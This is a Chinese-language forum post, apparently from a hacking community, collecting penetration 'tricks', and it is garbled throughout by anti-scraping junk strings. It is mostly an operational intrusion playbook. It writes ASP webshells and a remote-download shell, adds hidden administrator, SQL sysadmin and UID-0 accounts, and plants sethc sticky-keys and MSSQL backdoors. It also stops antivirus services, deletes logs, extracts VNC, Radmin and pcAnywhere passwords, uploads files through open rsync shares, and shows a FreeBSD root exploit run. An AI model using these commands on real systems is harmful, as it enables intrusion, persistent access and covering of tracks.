渗透技巧总结

admin

旁站路径问题
9 t2 L% d7 l( Y6 w. B: O% a1、读网站配置。
8 H8 J( ?' e9 n. M+ L2、用以下VBS
# b) o! F! r. UOn Error Resume Next
  B; B. @+ m- J  ]! ?: I  @If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        
7 [4 k4 ^# V+ I9 n( }' y& a
Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
: x8 j' K+ H0 |* G# `$ Z# N2 c
$ o! y! R, G$ n3 ^Usage:Cscript vWeb.vbs",4096,"Lilo"
5 S$ }, T& t, }) r5 Y6 [        WScript.Quit
End If
$ v4 z; U- D" l- m% y) v  e) y  ESet ObjService=GetObject

2 C/ Z% `3 A% t9 P5 v: M("IIS://LocalHost/W3SVC")
: n9 _' f2 R* \For Each obj3w In objservice
        If IsNumeric(obj3w.Name)

Then
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         

/ t! Q! R" h, e! a3 T9 s       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
, k3 w8 r# j" v+ [                If Err

<> 0 Then WScript.Quit (1)
4 v2 j* d  ]4 j9 n0 ?0 a                WScript.Echo Chr(10) & "[" &

OService.ServerComment & "]"
3 S5 g; E, c7 j& z* Q1 o0 b$ [                For Each Binds In OService.ServerBindings
8 o8 J3 g3 Q' `) [, R     
8 D0 n% |# o. C  S0 w
                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        
2 ~/ p- k0 t  j+ C! @
2 C6 _* {  v* B: t! AWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
" I5 B& ]( r3 w- [                Next
      

6 g- D; b( S; Q4 a3 i! z         WScript.Echo "ath            : " & VDirObj.Path
        End If
! B1 C' U+ F, l6 v& `7 d' uNext
复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
" q6 |( T# ?  d0 l8 UWordPress的平台，爆绝对路径的方法是：
4 f6 g: c0 u1 Q4 K9 g: gurl/wp-content/plugins/akismet/akismet.php
: `+ u2 Y, K; G+ Iurl/wp-content/plugins/akismet/hello.php
——————————————————————
phpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
, i9 k( k9 ], E6 h/ T7 e7 MphpMyAdmin/darkblue_orange/layout.inc.php
  u0 `9 n7 o1 JphpMyAdmin/index.php?lang[]=1
' @. Z, U4 n* Y2 Bphpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
————————————————————
2 u" q# S  J* T" DCMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
- L* i2 `' E% u+ enetsh ras ip show config #查看VPN分配IP的方式
" u4 j( n3 Q& z0 Onetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
- M5 Z- p% X; Anetsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
9 e3 R; W! W" i8 oEXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

, v7 E% ?8 X# O! i+ c4 j1 i5 V另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
z.changePassword("123456","")
+ ]& g  r2 G. ?1 v( Wz.setting("AccountType")=3;
! x1 E6 D3 H( `5 y; M) g
vbs:
) x3 S" e% m9 tSet   o=CreateObject( "Shell.Users" )
9 e' d8 h7 J8 O& ~3 a' f, DSet z=o.create("test")
z.changePassword "123456",""
  D$ h6 l2 }9 k" fz.setting("AccountType")=3
+ q$ |9 \9 X- u. L——————————————————
9 ?& t, W7 d+ J% Wcmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

  F, U; ^. v( H" [! s; a$ t. e命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
4 x/ c6 j8 N& K$ V9 ?————————以下配合PR更好————
1 I" h$ P' k8 M3 N8 }3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
) @: D+ q2 P3 w8 a! Ob、内网环境（LCX）
c、终端服务器超出了最大允许连接
XP 运行mstsc /admin
2003 运行mstsc /console   
% {! I0 U4 j0 C" K9 q
9 I' z: ]- J5 J0 ?' `杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
9 F7 t) L8 ?' a5 `net stop "Symantec AntiVirus" /y
- X6 t/ h/ Q' k' t! Z7 X4 N1 [( r( Anet stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
7 X7 `* w6 w& G7 ?2 Knet stop "Symantec Settings Manager" /y
7 P! h3 d' P3 }9 M" @5 n
卖咖啡：net stop "McAfee McShield"
————————————————————
# e9 \# h) h+ ]( b
5次SHIFT：
: [4 J6 d# W9 _, @# dcopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
$ r3 a7 a( c% p, F1 B4 Y* j  Pcopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
隐藏账号添加：
3 T" a4 D2 O' @. R1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
$ e9 |8 g& G* j$ }2、导出注册表SAM下用户的两个键值
, L$ |& }4 d0 |# r% y3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
: Z* [9 l; k# G9 b4、利用Hacker Defender把相关用户注册表隐藏
, h! o, ?+ B. {/ H7 v8 h/ E6 u——————————————————————
6 f0 R3 o  d/ }2 ]: ?2 pMSSQL扩展后门：
3 ]6 s1 w: `# tUSE master;
8 t/ z3 y; I3 y6 QEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
  l/ @4 `; I/ G+ f5 ], y———————————————————————
4 Z$ z3 m3 C: p# z' g4 ^日志处理
  @$ S* q6 k; ~7 R; o: X0 \C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
  l" X; \* e9 E; B# wex011120.log / ex011121.log / ex011124.log三个文件，
) `  ?" [; i/ R) z1 l$ ~直接删除 ex0111124.log
不成功，“原文件...正在使用”
$ i( \- t5 X# z" @9 {1 [当然可以直接删除ex011120.log / ex011121.log
. G( f* X: Q0 g% |" L用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
5 f" ~! k0 d- E- m, x: P# y1 ]" f当停止msftpsvc服务后可直接删除ex011124.log

MSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
! ?& k0 B4 _. C3 ~2 T8 V* e$ yHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
& m3 Y$ \# ^. m) {& c3 K; h6 |# S找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
1 |2 ]4 R# f: ~% s* R3 W% `8 f7 O, o
Server\90\Tools\Shell\mru.dat
: v; x0 E( s& e! a  O—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
& @. k7 Q0 L+ Z
<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
On Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
0 K* \' |. v( s9 E" Y: i& ]' R3 ]; GWith Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
: }$ Y4 Q. s' O( l3 HGetRemoteData = .ResponseBody
End With
$ t/ S" R2 F2 T" X( ^/ y4 S( YSet Retrieval = Nothing
4 u" m2 {( L& R' f0 \& P- |1 j* {Set Ads = Server.CreateObject("Adodb.Stream")
" W/ V; X+ @0 C& uWith Ads
.Type = 1
  O9 G' p8 X1 t8 X: \) |.Open
.Write GetRemoteData
  R' G% Q1 G5 C! g6 e" Z2 e  O4 k0 O.SaveToFile Server.MapPath(s_LocalFileName), 2
! W) Z- |8 ~# K7 v.Cancel()
.Close()
End With
% d% ^; m+ b  B. B7 l  @Set Ads=nothing
# {3 z8 K6 K0 G$ aEnd Sub
; s1 j) `' W% P2 O3 M
eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>

VNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
. _4 x  V3 b! F注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
  m+ {4 S1 X5 A4 W: a3 P' i4 SHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
1 f5 I. R( h  O7 r4 V; m( w/ OUsers\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
# n* C( w/ P: n0 @没有删cmd组建的直接加用户。
4 ?* q% U' i! f7i24的web目录也是可写，权限为administrator。

1433 SA点构建注入点。
3 W0 Z) R. _( G, \<%
strSQLServerName = "服务器ip"
, `8 u; ]& l  K' ^! h; sstrSQLDBUserName = "数据库帐号"
4 p0 n$ Q( e8 Z8 h7 E. b5 u' g/ ~strSQLDBPassword = "数据库密码"
- G2 z9 X, f6 T+ PstrSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
& b; y0 U0 S) Y$ {% AstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
2 X3 e# Y4 @9 A) ~. U1 ^8 n
8 Z# T/ T( X2 v0 @$ y# M( G# L";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

/ B' j( ^: d5 v. M1 _5 p0 ~strSQLDBName & ";"
conn.open strCon
dim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
%>
! O6 H, a" H( l% g+ c0 ~复制代码
******liunx 相关******
一.ldap渗透技巧
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
% @" M) K  H( h* [- Z+ p. q
4 {7 `6 D$ R( i, R0 J0 `) ~7 S2.less /etc/ldap.conf
" Z/ t/ u2 x5 o3 w! [8 H1 |- Qbase ou=People,dc=unix-center,dc=net
/ ^4 @) t  U( I( Q9 `2 D+ W2 N* Q找到ou,dc,dc设置
1 `, Z0 i7 }' j7 j! h6 e
3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
0 V# D% n- X! A; X1 A3 I! ~- I2 c有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
2 h9 ?+ B7 E% Q- V  P
; T( v. x# M: k% Y2 }. h/ I"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

) J. V  ]& e( Y( U1 y实战:
1.cat /etc/nsswitch
. S/ [4 `$ [6 Y) s0 J2 Y看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

$ u( v$ E; i# P3.查找管理员信息
6 d% {* e& {4 `) R* s" C8 y匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
0 t# y6 N9 _8 l8 Z3 X# j
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
* |# g# N; z  [$ i: j% P! H6 C: D  `: ^ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
; p! C& W. T1 B, z' z7 K
0 A* ?# g; L, j
4.查找10条用户记录
/ k+ N$ O9 q& I! F; kldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
1 @( M: N1 Q- a% n" X* Y, e9 p
渗透实战:
1.返回所有的属性
) d2 G+ a  r9 w, cldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
dn: dc=ruc,dc=edu,dc=cn
# Q: F- h1 S$ {6 Adc: ruc
objectClass: domain

dn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
8 |" s# m7 u8 C4 r$ H  J6 g$ R, FobjectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
sn: manager
  c4 M7 ?% P- k' C; K' Y1 Gcn: manager

dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
6 d& o7 ]* L: R, J' L6 fuid: superadmin
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
5 Z/ I1 \5 y( YobjectClass: top
sn: superadmin
. I  X3 Y+ X' R/ Vcn: superadmin

dn: uid=admin,dc=ruc,dc=edu,dc=cn
3 Q! E$ l" W( e6 _2 A' D+ {uid: admin
* o# P6 G( C! ]3 [objectClass: inetOrgPerson
0 d: O  J. F. O* L/ I0 hobjectClass: organizationalPerson
0 O* r1 ~. z4 ]+ ?! cobjectClass: person
objectClass: top
sn: admin
6 s7 r- c8 ?& i! |# [6 b& V" Wcn: admin
8 @) ^; f( T2 l: W
dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
# G: y. w, l4 r+ S8 r+ R$ ]uid: dcp_anonymous
objectClass: top
* H6 i# h- _9 o( E) U. n9 aobjectClass: person
objectClass: organizationalPerson
+ h, y( R' q0 j% B+ A  z, Y1 AobjectClass: inetOrgPerson
sn: dcp_anonymous
# p" d# o0 |+ X; \  S3 R5 y9 l3 Fcn: dcp_anonymous
3 k4 t" E+ Q) k9 P
2.查看基类
" q. T* M" y) b% h) obash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
5 c- Z6 t- q- J6 @
$ T! l% C, ^% ^: ~more
, z) U5 I; L3 }5 @( u, O! |0 Qversion: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

3.查找
  q1 ~# M! p$ ibash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
/ G7 M( z- g0 _version: 1
dn:
! O5 X& f' d& v/ U& z/ HobjectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
- T" C# ~, }, V* O$ n8 S" `supportedExtension: 2.16.840.1.113730.3.5.8
& @, ~. F" U1 m0 Y! ~supportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
/ K; @0 x0 X/ EsupportedExtension: 2.16.840.1.113730.3.5.5
$ `4 ^8 I; ^* B6 M* ZsupportedExtension: 2.16.840.1.113730.3.5.6
2 t2 A5 c/ w: t9 [1 e+ wsupportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
. K$ e* K: Y  g; R% x: V; bsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
& T2 c: Y. E- j6 y" Z# w9 S  S# MsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
; M) R; H( [" _$ K, x9 TsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
6 [. ^( x# P( q1 g; ~' I9 JsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
' l" B) P( }) Z" Q/ `supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
% Z9 N/ U& S1 v) ~/ X: R4 J. GsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
7 J6 x7 K( \2 P& ssupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
: K% l' X" C$ @- w" f! QsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
" E9 B. y8 d* s+ N6 a0 P' a/ d- PsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
! M/ T2 v, l" a. o/ a5 O* n! b' \supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
1 e. a$ B1 `& Y7 r1 L, csupportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
3 i6 U: r0 k2 F6 gsupportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
3 G/ N* o, g4 X8 `' b7 A2 GsupportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
: V9 E3 A/ e' J7 g' s1 y& @supportedControl: 2.16.840.1.113730.3.4.16
5 K: e1 F0 x9 T' F; f' KsupportedControl: 2.16.840.1.113730.3.4.15
5 ^) P! E2 R+ k. }' B5 P' DsupportedControl: 2.16.840.1.113730.3.4.17
; t5 |* A' {1 U7 {9 V8 q: Y; K' msupportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
' F0 R  s8 f/ x0 }6 }supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
* V% y2 H! D2 V' G4 c- [9 JsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
: ]9 U4 j! j, b8 J: d8 P: UsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
8 s1 d! h6 L! y, `2 ~3 xsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
+ }. O5 x8 H2 f1 j8 msupportedControl: 1.3.6.1.4.1.1466.29539.12
2 H0 s) v% S8 F1 tsupportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
; Y: k; _# L0 B# ^9 a- ~supportedSASLMechanisms: EXTERNAL
, m# W. v5 t3 V8 csupportedSASLMechanisms: DIGEST-MD5
/ d3 s7 u. Q% X% B6 J. F& y6 N* @supportedLDAPVersion: 2
) ]) k/ n5 E0 r2 T& e6 H: p* WsupportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
: z* c7 r! N9 Qdataversion: 020090516011411
3 e5 `6 O) m; nnetscapemdsuffix: cn=ldap://dc=webA:389
: c; ?, Z# n1 G5 l! u2 vsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
7 |0 h# ]5 |' D6 n1 F; K# \supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
  P* [3 K- A4 j# _1 z! |1 vsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
8 J* Y( K+ f! A0 w  V: g/ FsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
) l, H8 P5 |7 f( b( l7 JsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
$ `6 t7 I0 w  m" dsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
& a' Z4 C9 @) P$ V/ wsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
2 ~; R# z/ N% c3 E2 l* d  rsupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
' a' d6 x$ f$ |( E% O  lsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
, ?) `5 q& t" v5 F$ tsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
, D0 U! |( ^. }/ I0 q8 zsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
/ _( G8 s  p/ D5 Y2 s& J4 K* lsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
9 T( q! X) ^$ t: e: ]supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
# X/ ^) }9 e7 Z1 }) ?supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
: K. M: E; H( Q& v+ b0 a  [supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
0 E$ u% y! y- A9 M# \supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
# y2 ^9 A- p! [& Y) }# X8 UsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
- Z7 C% G2 P  C" e" u; b# `supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
, N+ h8 y9 b: DsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
. q' S* E1 C# N; R! y5 b) m8 asupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
1 v6 f; P6 j# D* ?- ^+ C2 XsupportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
9 d* q. D" i6 \7 QsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
* I+ V# ?# w9 V- J1 isupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
9 T: `7 |( l" c4 N/ }5 V% f* MsupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
( |- h7 b5 `( l* X( LsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
/ m4 y1 L! ^7 v( ?( _2 w4 P2. NFS渗透技巧
- k+ _  d1 Y9 `( ^- v* z8 eshowmount -e ip
列举IP
& ]/ @3 I3 e7 Y——————
* G2 R0 x  w4 r& q  P3.rsync渗透技巧
9 L" M% q2 O* y  _1.查看rsync服务器上的列表
rsync 210.51.X.X::
- d/ l7 W! i% s* Mfinance
. c) L2 R4 |2 k4 M4 t! A6 Timg_finance
auto
img_auto
html_cms
4 v2 W2 D8 D2 ^+ ]) e! v& }img_cms
ent_cms
ent_img
* c3 G6 C$ e9 x% R( Yceshi
3 c+ \8 _, \3 C5 T2 ores_img
res_img_c2
chip
$ Q* G1 J, ?' Q3 o4 Q' {chip_c2
3 S7 ?* w' {( U$ }" c" F& `ent_icms
& S( M# j1 n+ A3 x% A+ l. [5 v  _games
gamesimg
media
mediaimg
fashion
res-fashion
res-fo
1 t- {! _0 P; `4 W1 L( }  N! htaobao-home
res-taobao-home
house
8 q/ ]) Q9 H" t( E3 P1 hres-house
; f# H7 O6 X8 Ares-home
* d0 K/ ?: `2 a; _# W9 yres-edu
res-ent
! \- a1 Q" i2 n& e! t, w0 s6 C" Eres-labs
. G% P+ G$ X/ G" ~8 d. y/ j, jres-news
% R1 f" J3 p" v, o% D% b& xres-phtv
- z7 T& `; \5 @9 _. j- G& g% yres-media
home
edu
news
: Q4 T, D+ ?& [; o7 i: Y, Ires-book
: G3 D* D% @+ ~/ D$ C
看相应的下级目录(注意一定要在目录后面添加上/)


; h0 x0 A; {/ C( n, X4 e1 ?9 }6 ursync 210.51.X.X::htdocs_app/
6 ], h% `& C# m- N7 trsync 210.51.X.X::auto/
/ s( @# E9 H" f6 Ersync 210.51.X.X::edu/
9 G7 K( m7 I* d
! P! f4 r: s- c) B5 R( k2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

9 U, l9 g' d  O! A: x3 P+ K3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt

- f5 c% h, j( c$ Q四.squid渗透技巧
nc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
; L) v6 m0 }( E" o" g0 M五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
) T3 h! u: P+ j
六.joomla渗透小技巧
确定版本
) c& |8 I  t) z; j$ cindex.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
! R& I0 p8 O1 C$ n
( b  l( H+ ?3 H15&catid=32:languages&Itemid=47
, k3 s- I+ o6 V1 T$ O
, S. e" A6 Z/ y( X! n4 @: v重新设置密码
index.php?option=com_user&view=reset&layout=confirm

七: Linux添加UID为0的root用户
useradd -o -u 0 nothack
. E, L3 P) d8 b$ m9 H
八.freebsd本地提权
[argp@julius ~]$ uname -rsi
0 A" k1 a' O. v) v. w* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
* [argp@julius ~]$ id
* u: ?$ m- X# O6 _! w3 w1 U* uid=1001(argp) gid=1001(argp) groups=1001(argp)
4 q3 B  Q/ f+ k2 P* V' c' P$ V* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
( u) d8 E) B, Y. w1 b  b* m*
3 x& o7 f: r  i! N- ]8 o' Ycalling nmount()

（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
# ^7 L0 z' N& D3 T# o; R& Z9 N/ L————————————————————————————
